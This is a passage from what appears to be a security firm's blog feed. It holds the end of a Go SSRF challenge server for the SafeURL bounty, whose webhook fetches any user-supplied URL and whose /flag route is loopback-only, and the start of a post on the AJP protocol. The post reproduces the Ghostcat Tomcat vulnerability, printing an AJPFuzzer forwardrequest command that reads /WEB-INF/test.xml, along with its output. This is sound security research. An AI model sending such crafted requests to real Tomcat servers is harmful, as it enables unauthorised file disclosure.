		&lt;span class=&quot;n&quot;&gt;urlFromUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urlFromUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;errorMessage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Please provide an url. Example: /webhook?url=your-url.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusBadRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;errorMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;stringResponseMessage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;The server is checking the url: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urlFromUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

			&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlFromUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;stringError&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errorf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;request return error: %v&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stringError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusBadRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

			&lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;bodyString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReadAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusInternalServerError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

			&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Response from the server: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stringResponseMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusOK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bodyString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/flag&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RemoteIP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;nip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParseIP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsLoopback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusOK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;You found the flag&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusForbidden&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusInternalServerError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;indexPage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html lang=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;en&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;SafeURL - challenge&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;...&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Writer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;text/html; charset=UTF-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusOK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indexPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;127.0.0.1:8080&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you are able to bypass the check enforced by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt;, the content of the flag will give you further instructions on how to collect your reward. Please note that unintended ways of getting the flag (e.g., not bypassing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt;) are considered out of scope.&lt;/p&gt;

&lt;p&gt;Feel free to contribute with &lt;a href=&quot;https://github.com/doyensec/safeurl/pulls&quot;&gt;pull requests&lt;/a&gt;, &lt;a href=&quot;https://github.com/doyensec/safeurl/issues&quot;&gt;bug reports or enhancements&lt;/a&gt; ideas.&lt;/p&gt;

&lt;p&gt;This tool was possible thanks to the &lt;a href=&quot;https://doyensec.com/careers.html&quot;&gt;25% research time&lt;/a&gt; at Doyensec. Tune in again for new episodes.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Let's speak AJP</title>
   <link href="https://blog.doyensec.com/2022/11/15/learning-ajp.html"/>
   <updated>2022-11-15T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2022/11/15/learning-ajp</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;AJP (Apache JServ Protocol)&lt;/strong&gt; is a binary protocol developed in 1997 with the goal of improving the performance of the traditional HTTP/1.1 protocol especially when proxying HTTP traffic between a web server and a J2EE container. It was originally created to manage efficiently the network throughput while forwarding requests from server A to server B.&lt;/p&gt;

&lt;p&gt;A typical use case for this protocol is shown below: 
&lt;img src=&quot;../../../public/images/ajp-schema.png&quot; alt=&quot;AJP schema&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;During one of my recent research weeks at Doyensec, I studied and analyzed how this protocol works and its implementation within some popular web servers and Java containers. The research also aimed at reproducing the infamous &lt;strong&gt;Ghostcat&lt;/strong&gt; (CVE-2020-1938) vulnerability discovered in Tomcat by Chaitin Tech researchers, and potential discovering other look-alike bugs.&lt;/p&gt;

&lt;h2 id=&quot;ghostcat&quot;&gt;Ghostcat&lt;/h2&gt;

&lt;p&gt;This vulnerability affected the AJP connector component of the Apache Tomcat Java servlet container, allowing malicious actors to perform local file inclusion from the application root directory. In some circumstances, this issue would allow attackers to perform arbitrary command execution. For more details about Ghostcat, please refer to the following blog post: &lt;a href=&quot;https://hackmag.com/security/apache-tomcat-rce/&quot; target=&quot;_blank&quot;&gt;https://hackmag.com/security/apache-tomcat-rce/&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;communicating-via-ajp&quot;&gt;Communicating via AJP&lt;/h2&gt;

&lt;p&gt;Back in 2017, our own &lt;a href=&quot;https://twitter.com/lucacarettoni&quot;&gt;Luca Carettoni&lt;/a&gt; developed and released &lt;a href=&quot;https://github.com/doyensec/libajp13&quot;&gt;one of the first, if not the first, open source libraries&lt;/a&gt; implementing the &lt;a href=&quot;https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html&quot;&gt;Apache JServ Protocol&lt;/a&gt; version 1.3 (ajp13). With that, he also developed &lt;a href=&quot;https://github.com/doyensec/ajpfuzzer&quot;&gt;AJPFuzzer&lt;/a&gt;. Essentially, this is a rudimental fuzzer that makes it easy to send handcrafted AJP messages, run message mutations, test directory traversals and fuzz on arbitrary elements within the packet.&lt;/p&gt;

&lt;p&gt;With minor tuning, AJPFuzzer can be also used to quickly reproduce the GhostCat vulnerability. In fact, we’ve successfully reproduced the attack by sending a crafted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forwardrequest&lt;/code&gt; request including the &lt;a href=&quot;https://tomcat.apache.org/tomcat-8.0-doc/servletapi/javax/servlet/RequestDispatcher.html#INCLUDE_SERVLET_PATH&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.servlet.include.servlet_path&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://tomcat.apache.org/tomcat-8.0-doc/servletapi/javax/servlet/RequestDispatcher.html#INCLUDE_PATH_INFO&quot; target=&quot;_blank&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.servlet.include.path_info&lt;/code&gt;&lt;/a&gt; Java attributes, as shown below:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;java &lt;span class=&quot;nt&quot;&gt;-jar&lt;/span&gt; ajpfuzzer_v0.7.jar

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;AJPFuzzer&amp;gt; connect 192.168.80.131 8009
connect 192.168.80.131 8009
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once connected to the target host, send the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ForwardRequest&lt;/code&gt; packet message and verify the discosure of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.xml&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;AJPFuzzer/192.168.80.131:8009&amp;gt; forwardrequest 2 &lt;span class=&quot;s2&quot;&gt;&quot;HTTP/1.1&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/&quot;&lt;/span&gt; 127.0.0.1 192.168.80.131 192.168.80.131 8009 &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Cookie:test=value&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;javax.servlet.include.path_info:/WEB-INF/test.xml,javax.servlet.include.servlet_path:/&quot;&lt;/span&gt;


&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Sending Test Case &lt;span class=&quot;s1&quot;&gt;'(2) forwardrequest'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 2022-10-13 23:02:45.648


... trimmed ...


&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Received message &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Send Body Chunk'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Received message description &lt;span class=&quot;s1&quot;&gt;'Send a chunk of the body from the servlet container to the web server.
Content (HEX):
0x3C68656C6C6F3E646F79656E7365633C2F68656C6C6F3E0A
Content (Ascii):
&amp;lt;hello&amp;gt;doyensec&amp;lt;/hello&amp;gt;
'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 2022-10-13 23:02:46.859


00000000 41 42 00 1C 03 00 18 3C 68 65 6C 6C 6F 3E 64 6F AB.....&amp;lt;hello&amp;gt;do
00000010 79 65 6E 73 65 63 3C 2F 68 65 6C 6C 6F 3E 0A 00 yensec&amp;lt;/hello&amp;gt;..


&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Received message &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'End Response'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Received message description &lt;span class=&quot;s1&quot;&gt;'Marks the end of the response (and thus the request-handling cycle). Reuse? Yes'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 2022-10-13 23:02:46.86
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The server AJP connector will receive an AJP message with the following structure:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/ajp-schema-wireshark.png&quot; alt=&quot;AJP schema wireshark&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The combination of &lt;a href=&quot;https://github.com/doyensec/libajp13&quot;&gt;libajp13&lt;/a&gt;, &lt;a href=&quot;https://github.com/doyensec/ajpfuzzer&quot;&gt;AJPFuzzer&lt;/a&gt; and the &lt;a href=&quot;https://github.com/boundary/wireshark/blob/master/epan/dissectors/packet-ajp13.c&quot;&gt;Wireshark AJP13 dissector&lt;/a&gt; made it easier to understand the protocol and play with it. For example, another noteworthy test case in AJPFuzzer is named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;genericfuzz&lt;/code&gt;. By using this command, it’s possible to perform fuzzing on arbitrary elements within the AJP request, such as the request attributes name/value, secret, cookies name/value, request URI path and much more:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;AJPFuzzer&amp;gt; connect 192.168.80.131 8009
connect 192.168.80.131 8009
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Connecting to 192.168.80.131:8009
Connected to the remote AJP13 service

